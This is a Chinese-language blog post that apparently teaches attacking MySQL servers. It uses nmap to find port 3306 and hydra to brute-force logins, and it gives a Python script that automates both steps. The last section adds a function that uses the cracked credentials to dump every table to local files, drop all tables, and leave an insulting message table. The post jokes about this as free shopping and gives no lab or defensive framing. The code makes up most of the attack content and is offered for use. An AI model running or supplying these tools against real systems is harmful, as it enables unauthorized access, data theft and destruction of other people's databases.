Python: MySQL爆破篇
Admin Lv3

打工已经很累了,何必再弄一堆强密码折磨自己呢?

扫描

得到目标域名或ip后用扫描找到MySQL服务占用的端口

1
2
export TARGET="example.com"
sudo nmap -sS -T4 -n -v $TARGET
  • -sS让nmap通过发送TCP SYN包来去检测是否有服务在
  • -T4用来缩短每次试探的等待时间,加速扫描,网络延迟高的话建议不用
  • -n不使用nmap内建的并行解析器,加速扫描
  • -v让nmap废话多一点方便调试
    关键输出部分的示例如下
    1
    2
    3
    4
    PORT     STATE SERVICE
    22/tcp open ssh
    80/tcp open http
    3306/tcp open mysql
    看到MySQL运行在3306端口上

爆破

可以一遍遍地用mysql指令手动爆破

1
mysql -h $TARGET -P 3306 -u "root" -p --skip-ssl

但是效率太低了,而且看起来很蠢
专业密码爆破装置hydra提供了另一种优雅的方式

1
hydra -L user.txt -P pass.txt -s 3306 -t 4 "mysql://${TARGET}" 

user.txt和pass.txt分别存放要去尝试的用户名和密码,-t表示并发运行的爆破线程数,端口可用-s指定或者写在url里
关键输出部分的示例如下

1
[3306][mysql] host: example.com   login: root   password: 123456

自动化

可以将上述流程封装成一个Python命令行脚本实现自动化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/env python3
import os
import re
import tempfile
import argparse

RED = '\033[1;31m'
GREEN = '\033[1;92m'
RESET = '\033[0m'

def scan(host):
print(f'{RED}==== 扫描开始 ===={RESET}')
print(f'目标: {host}')
with tempfile.NamedTemporaryFile('w+') as outfile:
os.system(f'nmap -sS -T4 -n -v -oN {outfile.name} {host}')
output = outfile.read()
mysql_line = re.search('.*mysql.*', output)
if mysql_line != None:
port = int(mysql_line.group(0).split('/')[0])
print(f'{GREEN}发现MySQL运行在端口{port}{RESET}')
assert port in range(1, 65536)
return port
else:
print(f'未发现MySQL运行')
return None

def explode(host, port, user_fname, passwd_fname):
print(f'{RED}==== 爆破开始 ===={RESET}')
print(f'目标: {host}:{port}')
with tempfile.NamedTemporaryFile('w+') as outfile:
os.system(f'hydra -L "{user_fname}" -P "{passwd_fname}" -s {port} -t 4 mysql://{host} > {outfile.name}')
output = outfile.read()
credential_line = re.search(r'login:.+', output)
if credential_line != None:
credentials = credential_line.group(0).split()
user = credentials[1]
passwd = credentials[3]
print(f'{GREEN}爆破成功: 用户名 {user} 密码 {passwd}{RESET}')
return (user, passwd)
else:
print('爆破失败')
return None

def main():
parser = argparse.ArgumentParser(description='Exploooosion!')
parser.add_argument('host', type=str, help='target hostname or ip')
parser.add_argument('-u', '--user-file', type=str, help='file for possible usernames')
parser.add_argument('-p', '--passwd-file', type=str, help='file for possible passwords')
args = parser.parse_args()

scan_res = scan(args.host)
if scan_res == None:
exit(-1)
port = scan_res
explosion_res = explode(args.host, port, args.user_file, args.passwd_file)
if explosion_res == None:
exit(-1)
username, passwd = explosion_res

if __name__ == '__main__':
main()

设置好目标,用户名范围和密码范围分别逐行写入user.txt以及pass.txt两个文件

1
2
export TARGET="example.com"
sudo ./prog $TARGET -u ./user.txt -p pass.txt

得寸而又进尺

你不能期待贼进大院后什么也不做…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
...
import pymysql
from pathlib import Path
import json

...
def exp(host, port, username, passwd):
print(f'{RED}==== 零元购开始 ===={RESET}')
db_name = "target_db"
db_config = {
'host': host,
'port': port,
'user': username,
'password': passwd,
'charset': 'utf8',
'db': db_name
}
conn = pymysql.connect(**db_config)
print(f'{GREEN}连接成功{RESET}')
with conn.cursor() as cursor:
cursor.execute('show tables;')
tables = cursor.fetchall()
subdir = 'data'
os.makedirs(subdir, exist_ok=True)

for table in tables:
table_name = table[0]
cursor.execute(f'select * from {table_name};')
table_data = cursor.fetchall()
with open(Path(subdir) / table_name, 'w') as saved_file:
saved_file.write(json.dumps(table_data))
saved_file.flush()
print(f'{GREEN}数据获取成功,已保存到{Path(subdir)}目录下{RESET}')
for table in tables:
table_name = table[0]
cursor.execute(f'drop table {table_name};')
print(f'{GREEN}删除成功{RESET}')
cursor.execute(f'create table hello ( value varchar(666) );')
cursor.execute(f'insert into hello value (\'Fuck you!\');')
print(f'{GREEN}打招呼成功{RESET}')
conn.commit()
conn.close()

def main():
...
parser.add_argument('-e', '--exp', action='store_true', help='whether to perform exp')
...
if args.exp:
exp(args.host, port, username, passwd)

...
1
sudo ./prog ... --exp